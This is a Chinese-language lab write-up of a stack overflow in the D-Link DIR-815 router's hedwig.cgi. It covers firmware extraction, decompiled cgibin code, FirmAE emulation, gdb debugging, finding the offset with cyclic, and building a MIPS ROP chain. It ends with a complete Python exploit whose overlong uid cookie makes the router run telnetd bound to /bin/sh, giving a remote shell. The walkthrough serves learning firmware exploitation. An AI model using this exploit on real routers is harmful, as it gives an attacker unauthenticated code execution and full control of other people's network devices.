dir-815

环境

Ubuntu20.04

提取固件

binwalk -Me "DIR-815 FW 1.01b14_1.01b14.bin"

寻找官方漏洞报告中的hedwig.cgi漏洞文件,其架构是mips

myx@ubuntu:~/Desktop/iot/DIR-815$ sudo find ./ -name hedwig.cgi
./_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root/htdocs/web/hedwig.cgi

现文件的软链接指向了/htdocs/cgibin(软连接类似快捷方式,名字不同但指向同一地址)

所以我们就需要逆向分析cgibin这个二进制文件

yx@ubuntu:~/Desktop/iot/DIR-815/_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root/htdocs/web$ ls -l
total 300
lrwxrwxrwx 1 myx myx   14 Apr 15 23:50 captcha.cgi -> /htdocs/cgibin
-rw-rw-r-- 1 myx myx  544 Sep 14  2010 check_stats.php
lrwxrwxrwx 1 myx myx   14 Apr 15 23:50 conntrack.cgi -> /htdocs/cgibin
-rw-rw-r-- 1 myx myx  327 Sep 14  2010 diagnostic.php
lrwxrwxrwx 1 myx myx   14 Apr 15 23:50 dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 myx myx   15 Apr 15 23:50 docs -> /var/htdocs/web
-rw-rw-r-- 1 myx myx 1150 Sep 14  2010 favicon.ico
lrwxrwxrwx 1 myx myx   14 Apr 15 23:50 fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 myx myx   14 Apr 15 23:50 hedwig.cgi -> /htdocs/cgibin

分析cgibin二进制文件

main函数

main 函数的最开始在匹配程序名以来调用不同的函数来实现具体功能。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // $s0
  char *v6; // $v0
  int (*v8)(); // $t9
  int v9; // $a0

  v3 = *argv;
  v6 = strrchr(*argv, 47);
  if ( v6 )
    v3 = v6 + 1;
  if ( !strcmp(v3, "phpcgi") )
  {
    v8 = phpcgi_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "dlcfg.cgi") )
  {
    v8 = dlcfg_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "seama.cgi") )
  {
    v8 = seamacgi_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "fwup.cgi") )
  {
    v8 = fwup_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "fwupdater") )
  {
    v8 = fwupdater_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "session.cgi") )
  {
    v8 = &sessioncgi_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "captcha.cgi") )
  {
    v8 = &captchacgi_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "hedwig.cgi") )  //目标函数在这里
  {
    v8 = hedwigcgi_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "pigwidgeon.cgi") )
  {
    v8 = &pigwidgeoncgi_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "service.cgi") )
  {
    v8 = &servicecgi_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "ssdpcgi") )
  {
    v8 = ssdpcgi_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "soap.cgi") )
  {
    v8 = soapcgi_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "gena.cgi") )
  {
    v8 = genacgi_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "conntrack.cgi") )
  {
    v8 = &conntrackcgi_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "hnap") )
  {
    v8 = &hnap_main;
    v9 = argc;
    return (v8)(v9, argv, envp);
  }
  printf("CGI.BIN, unknown command %s\n", v3);
  return 1;
}

以这段代码为例,首先根据 *argv 获取程序的名字,通过 strrchr 函数来匹配程序名中最后一个 / 出现的位置, v6+1 取的是 / 的下一个字符的地址,然后来匹配是否为 phpcgi 这个字符串, 如果是的话则跳转到 phpcgi_main 函数,整个 main 函数都是在做这个事情

v3 = *argv;
v6 = strrchr(*argv, '/');
if ( v6 )
  v3 = v6 + 1;
if ( !strcmp(v3, "phpcgi") )
{
  v8 = (void (__noreturn *)())phpcgi_main;
  v9 = argc;
  return ((int (__fastcall *)(int, const char **, const char **))v8)(v9, argv, envp);
}

hedwigcgi_main

int sprintf(char *str, const char *format, ...);
str:目标字符串(结果会写进这个数组里)
format:格式化字符串(和 printf 一样)
...:要插入格式字符串的变量

危险函数为sprintf,通过分析,只有reqest_mode为post才能触发

  request = getenv("REQUEST_METHOD");
  if ( !request )
  {
    v1 = "no REQUEST";
LABEL_7:
    v3 = 0;
    v4 = 0;
LABEL_34:
    v9 = -1;c
    goto LABEL_25;
  }
  if ( strcasecmp(request, "POST") )            // 相等返回0
  {
    v1 = "unsupported HTTP request";
    goto LABEL_7;
  }

sess_get_uid函数

sess_get_uid(v4);                             // 提取cookie中'uid='后面的字符串存在v4 分析得出COOKIE的数据组织形式是uid=payload

获取cookie值

int __fastcall sess_get_uid(int a1)
{
  int v2; // $s2
  char *v3; // $v0c
  int v4; // $s3
  char *v5; // $s4c
  int v6; // $s1
  int v7; // $s0
  char *v8; // $v0
  int result; // $v0

  v2 = sobj_new();
  v4 = sobj_new();
  v3 = getenv("HTTP_COOKIE");

这里对cookie进行分割存储,等号前的内容存入ptr,等号后的内容存入v4

      if ( cookie == ';' )  //37行
      {
        v6 = 0;
      }
      else
      {
        v6 = 2;
        if ( cookie != '=' )
        {
          sobj_add_char(v2, cookie);
          v6 = 1;
        }
      }
      goto LABEL_18;
    }
    if ( v6 == 2 )
    {
      if ( cookie == ';' )
      {
        v6 = 3;
        goto LABEL_18;
      }
      sobj_add_char(v4, *cookie_ptr++);
    }

判断v2里的内容是不是uid,判断通过则将v4的内容拼接到a1后面

    else
    {
      v6 = 0;
      if ( !sobj_strcmp(v2, "uid") )
        goto LABEL_21;
LABEL_18:
      ++cookie_ptr;
    }
  }c
  if ( !sobj_strcmp(v2, "uid") )
  {
LABEL_21:
    v8 = sobj_get_string(v4);
    goto LABEL_22;
  }
LABEL_27:
  v8 = getenv("REMOTE_ADDR");
LABEL_22:
  result = sobj_add_string(a1, v8);
  if ( v2 )
    result = (sobj_del)(v2);
  if ( v4 )
    result = (sobj_del)(v4);
  return result;
}

sprintf

我们继续往下走,发现有2个sprintf函数,两次sprintf都可以造成栈溢出漏洞,这里我们要利用的是第二次sprintf

两次sprintf前后string和v20都是sobj_get_string(v4);,v4在此期间并未改变过,跟据分析我们知道v4为cookie中”uid=“后的内容,我们是可以自己控制其内容的

1
  sess_get_uid(v4);                             // 提取cookie中'uid='后面的字符串存在v4 
  cookie = sobj_get_string(v4);
  sprintf(str, "%s/%s/postxml", "/runtime/session", cookie);// 第一个溢出点

2
  v20 = sobj_get_string(v4);
  sprintf(str, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);

这里str的栈空间为1024,而cookie的长度没有限制,我们就可以通过控制v4达到栈溢出的效果

  char str[1024]; // [sp+C0h] [-400h] BYREF

漏洞利用

Firemae仿真路由器

测试能否仿真成功   sudo ./run.sh -c +固件品牌   +固件文件名
进入仿真调试模式   sudo ./run.sh -d +固件品牌   +固件文件名

myx@ubuntu:/opt/tools/FirmAE$ sudo ./run.sh -d Dlink /home/myx/Desktop/iot/DIR-815/DIR-815_FW_1.01b14.bin

image-20250423211844864

先2连接shell,
echo "0" >> /proc/sys/kernel/randomize_va_space  关地址随机化然后退出shell,
再浏览器访问192.168.0.1,最后4启动gdbserver

image-20250423212955483

gdb动态调试

gdb-multiarch

#然后gdb内
set architecture mips
set follow-fork-mode child  #如果程序调用了 fork() 或 vfork(),GDB 会跟踪子进程,而不是父进程。
set detach-on-fork off #默认情况下,如果程序 fork() 了,GDB 只会调试你选择的那一个进程,自动让另一个进程“脱离调试”。这条命令的作用是:不要自动 detach 掉另一个进程,两个进程都保持被 GDB 附着(即便只调试其中一个,也能随时切换)。
target remote 192.168.0.1:1337

b sprintf 
#直接c到加载新库来到cgibin,再c2次就开始单步调试

接下来我们在开启一个终端去发送poc,gdb就可以进行下一步调试了

确定返回地址偏移

漏洞为栈溢出,那么我们第一步就是去测试他的偏移值,这里我们利用pwntools里的cyclic

find_offset.py

import requests
from pwn import *

# 目标地址
url = "http://192.168.0.1/hedwig.cgi"

# 构造 payload
payload = cyclic(0x500).decode()

# 请求头
headers = {
    'Content-Length': '21',  # 注意:requests 会自动计算实际长度,但你也可以保留它
    'Accept-Encoding': 'deflate',
    'Connection': 'close',
    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
    'Host': '192.168.0.1',
    'Cookie': f'uid={payload}',
    'Content-Type': 'application/x-www-form-urlencoded'
}

# 请求体
data = "password=123&uid=3Rd4"

# 发送 POST 请求
response = requests.post(url, headers=headers, data=data)

# 打印响应状态码和内容
print(response.status_code, response.text)

两次finish

image-20250429170955128

确定偏移为1003+4=1007,即ra位置

myx@ubuntu:~/Desktop/iot/DIR-815$ python3
Python 3.8.10 (default, Mar 18 2025, 20:04:55) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> cyclic(0x500)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaam'

>>> cyclic_find('kbaa') #返回地址ra的上1位
1003
>>> cyclic_find('jsaa') #s0
971
>>> cyclic_find('jtaa') #s1
975

构造rop链

路由器里面是开启了telentd服务的,我们只需要执行system(telentd)就可以getshell,函数调用规则时说过,前四个参数分别在a0---a3里,那么第一个参数就是a0了

mips_rop插件找gadget

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
     Start        End Perm     Size Offset File
  0x400000   0x41c000 r-xp    1c000      0 /htdocs/cgibin
  0x42c000   0x42d000 rw-p     1000  1c000 /htdocs/cgibin
  0x42d000   0x430000 rwxp     3000      0 [heap]
0x778aa000 0x77908000 r-xp    5e000      0 /lib/libuClibc-0.9.30.1.so
0x77908000 0x77917000 ---p     f000      0 [anon_77908]
0x77917000 0x77918000 r--p     1000  5d000 /lib/libuClibc-0.9.30.1.so
0x77918000 0x77919000 rw-p     1000  5e000 /lib/libuClibc-0.9.30.1.so
0x77919000 0x7791e000 rw-p     5000      0 [anon_77919]
0x7791e000 0x77947000 r-xp    29000      0 /lib/libgcc_s.so.1
0x77947000 0x77957000 ---p    10000      0 [anon_77947]
0x77957000 0x77958000 rw-p     1000  29000 /lib/libgcc_s.so.1
0x77958000 0x7795d000 r-xp     5000      0 /lib/ld-uClibc-0.9.30.1.so
0x7796a000 0x7796b000 rw-p     1000      0 [anon_7796a]
0x7796b000 0x7796c000 r-xp     1000      0 [vdso]
0x7796c000 0x7796d000 r--p     1000   4000 /lib/ld-uClibc-0.9.30.1.so
0x7796d000 0x7796e000 rw-p     1000   5000 /lib/ld-uClibc-0.9.30.1.so
0x7fba3000 0x7fbc4000 rwxp    21000      0 [stack]

#libc基地址为0x778aa000,动态链接库是/lib/libuClibc-0.9.30.1.so。我们去链接库找gadget
#但在相应路径没有此库,
rwxrwxrwx  1 myx myx     21 Apr 24 00:10 libc.so.0 -> libuClibc-0.9.30.1.so
#发现是有个链接,所以实际库是libc.so.0,因为符号链接的原因不能直接从虚拟机复制到主机,共享文件夹用如下命令
sudo cp -aL squashfs-root /mnt/hgfs/share/

ida界面点击:search>mips rop gadgets

之后在下面python输入框输入

mipsrop.find("")  #这样就显示所有gadgets,如果具体查找在输入具体的吧
mipsrop.find("jr")

根据《揭秘家用路由器0day漏洞挖掘技术》一书的方法:先将 system 函数的地址 -1 传入某个寄存器中,之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将system地址恢复,因此我们查找addiu $s0,1指令,选用gadgets:0x000158C8

流水线机制
由于现代处理器采用流水线执行指令的方式,在执行jalr指令时,下一条指令可能已经被预取和解码,并开始执行。因此,即使jalr指令改变了程序计数器的值,下一条指令也可能在当前指令被执行的同时开始执行。
也就是说,执行jalr的同时,下一个指令也会执行。
addiu rd, rs, immediate:  将寄存器 `rs` 中的值与一个立即数(`immediate`)相加,并将结果存入目标寄存器 `rd` 中。
Python>mipsrop.find("addiu .*,1")
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x00012E60  |  addiu $s2,1                                         |  jalr  $s6                             |
|  0x000158C8  |  addiu $s0,1                                         |  jalr  $s5                             |
|  0x000158D0  |  addiu $s0,1                                         |  jalr  $s5                             |
|  0x00020368  |  addiu $a0,1                                         |  jalr  $s2                             |
|  0x0002374C  |  addiu $s0,1                                         |  jalr  $fp                             |
|  0x0002D194  |  addiu $s0,1                                         |  jalr  $s5                             |
|  0x00031320  |  addiu $v1,1                                         |  jalr  $s3                             |
----------------------------------------------------------------------------------------------------------------
Found 27 matching gadgets
#最后选用 0x000158C8
.text:000158C8                 move    $t9, $s5
.text:000158CC                 jalr    $t9 #会在跳转到$s5的同时,将s0+1,流水线机制
.text:000158D0                 addiu   $s0, 1 #s0变为system
.text:000158D4                 sb      $s7, 0($v0)

上面的gadget可以将s0赋值为system函数地址。现在我们还需要找到给system函数传参的gadget。mips架构前4参数在寄存器a0到a3,如果要搜将栈地址放入某个寄存器的 gadget ,可以用 mipsrop.stackfinder()

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x0000B814  |  addiu $a1,$sp,0x15C+var_144                         |  jalr  $s1                             |
|  0x0000B830  |  addiu $a1,$sp,0x15C+var_A4                          |  jalr  $s1                             |
|  0x0000DEF0  |  addiu $s2,$sp,0xA0+var_90                           |  jalr  $s4                             |
|  0x00013F74  |  addiu $s1,$sp,0x28+var_10                           |  jalr  $s4                             |
|  0x00014F28  |  addiu $s1,$sp,0x28+var_10                           |  jalr  $s4                             |
|  0x000159CC  |  addiu $s5,$sp,0x14C+var_13C                         |  jalr  $s0                             |
                       |
#最后选用 0x000159CC,因为其既可以跳转至system函数,又可以通过s5给system函数传参:
.text:000159CC                 addiu   $s5, $sp, 0x14C+var_13C #将"telnetd"传入s5
.text:000159D0                 move    $a1, $s3
.text:000159D4                 move    $a2, $s1
.text:000159D8                 move    $t9, $s0      #从此开始关键,system给t9
.text:000159DC                 jalr    $t9 ; mempcpy #流水线机制
.text:000159E0                 move    $a0, $s5 #把"telnetd"给a0

exp

首先在s0传入system-1的地址,s5传入了0x000159cc的gadget。溢出之后,首先返回到s5的地址(即执行gad_to_s5),同时,s0++,变为system的地址。此时执行第二个gadget,将"telnetd"传入s5,并且跳转到$s0也就是system,同时s5被赋值到a0也就是第一个参数,成功执行system("telnetd -l /bin/sh -p 55557")。设置端口是担心原本的被占用了。

import http.client
from pwn import *
set("./cgibin")

# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")

## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断
nop = "\x26\x40\x08\x01"

#libc基地址
libc = 0x77f34000
#gadget
gadget = 0x159cc+libc
gadget2 = libc+0x158c8
print(p32(gadget).hex())
print(p32(gadget2).hex())
sys = libc + 0x531ff
print(p32(sys).hex())
sys_ = '\xffq\xf8w' #sys-1
gad_sp = "\xcc\x99\xf4w" #0x159cc
gad_to_s5 = "\xc8\x98\xf4w"#0x158c8

payload = cyclic(973).decode() + sys_ + "cccc"  + gad_sp*7 + gad_to_s5  + "dddd"*4 + "telnetd -l /bin/sh -p 55557 & ls & "
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': 'uid='+payload,
'Content-Type': 'application/x-www-form-urlencoded'
}

# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
# 获取响应
response = conn.getresponse()
# 打印响应状态码和响应内容
print(response.status, response.read().decode())
# 关闭连接
conn.close()

执行脚本后开个新shell,getshell

telnet 192.168.0.1 55557 

参考

https://www.freebuf.com/vuls/395954.html

https://xz.aliyun.com/news/17315

posted @ 2025-05-10 14:57  Ma&0xFly  阅读(57)  评论(0)    收藏  举报